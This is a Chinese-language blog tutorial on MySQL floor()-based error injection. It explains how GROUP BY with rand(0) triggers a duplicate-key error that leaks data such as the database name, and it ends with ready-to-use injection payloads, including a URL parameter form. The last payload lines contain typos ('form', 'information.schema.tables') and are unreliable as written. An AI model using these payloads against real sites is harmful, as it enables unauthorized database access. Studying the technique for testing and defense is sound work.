MySQL报错注入原理之floor()注入

报错注入的原理:

执行SQL查询语句,不回显查询的内容,打印相关的错误信息。

在MYSQL中,执行一个正常的SQL语句,不会返回查询的内容,但是会打印一条报错语句,告诉你有一个SQL语法错误。

利用该特性,构造SQL语句,让其返回数据库的相关信息。

执行MYSQL查询语句:

SELECT * FROM `user` WHERE `User`='root' and (select 1 from (select count(*),concat(DATABASE(),floor(rand(0)*2))x from information_schema.tables group by x)a)

返回信息中出现了当前的数据库名称。

 

 

 

对该SQL语句进行解析:

 

 

 介绍函数:

1、rand()

作用:产生一个伪随机的序列

执行函数,随机产生一个0~1之间的数值

 

 

 rand(1),传参数后,返回的值固定。

2、count()

SELECT COUNT(column_name) FROM table_name

返回指定列的值的数目。

SELECT COUNT(*) FROM table_name

返回表中的记录数。

3、group by

用于结合合计函数,根据一个或多个列对结果集进行分组。

 

 

在user表中对password列中相同的值进行分组,并进行计数。

同时执行count和group by函数时,MYSQL会创建一个虚拟表,虚拟表进行计数和分组。

mysql官方注明,在执行group by语句的时候,group by语句后面的字段会被运算两次。

第一次是group by后面的字段和虚拟表进行对比,第二次是插入时会进行运算。

由于rand()函数的随机性,导致第二次运算可能和第一运算结果不一致,运算的结果存在,这时插入就会出错。

 

上面使用的是password进行分组,接下来使用floor(rand(0)*2)进行分组。

 

 

 返回’1‘,代表构造成功

4、floor()

向下取整,floor(1.8)=1。

>>floor(rand(0)*2)

>>rand()*2  (0,1)区间乘2,(0,2)

>>floor(rand(0)*2)  结果是0/1

 

 注意规律(rand(0)随机数列是伪随机数):

 

 开头是011011..

1、floor(rand(0)*2)进行第一次运算,floor=0,此时为floor与虚拟表进行对比,由于表中没有值,进行插入。

2、插入时,floor进行第二次运算,floor=1,插入1,count=1。

3、取floor=1此时为floor与虚拟表进行对比,由于存在floor=1,故count+1。

4、取floor=0此时为floor与虚拟表进行对比,由于表中不存在floor=0,故作插入处理。

5、插入时,floor进行第二次运算,floor=1,但是floor=1已经存在,无法进行插入操作,故产生主键重复错误,抛出异常。

>>使用concat()进行拼接,

SELECT COUNT(*),CONCAT(USER(),FLOOR(RAND(0)*2)) FROM `User` GROUP BY CONCAT(user(),FLOOR(rand(0)*2))

 

>>通过设置别名,简化长度

SELECT COUNT(*),CONCAT(USER(),FLOOR(RAND(0)*2))x FROM `User` GROUP BY x

 

 

>>再重新看这个语句

 

>>information_schema.tables代表随便选择一个表。

 

 

>>select 1 from,and后面必须是一个布尔值,为非0值

 

 

select 1 from (select count(*),concat(DATABASE(),floor(rand(0)*2))x from information_schema.tables group by x)

 【在做多表查询,或者查询的时候产生新的表的时候会出现这个错误:Every derived table must have its own alias(每一个派生出来的表都必须有一个自己的别名)】

select 1 from (select count(*),concat(DATABASE(),floor(rand(0)*2))x from information_schema.tables group by x)a

 

 

 Payload:

select count(*),concat(PAYLOAD,floor(rand(0)*2))x form 表名 group by x;
?id=1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information.schema.tables group by x)a )

 

posted @ 2021-04-12 22:52  Hskan  阅读(1956)  评论(1编辑  收藏  举报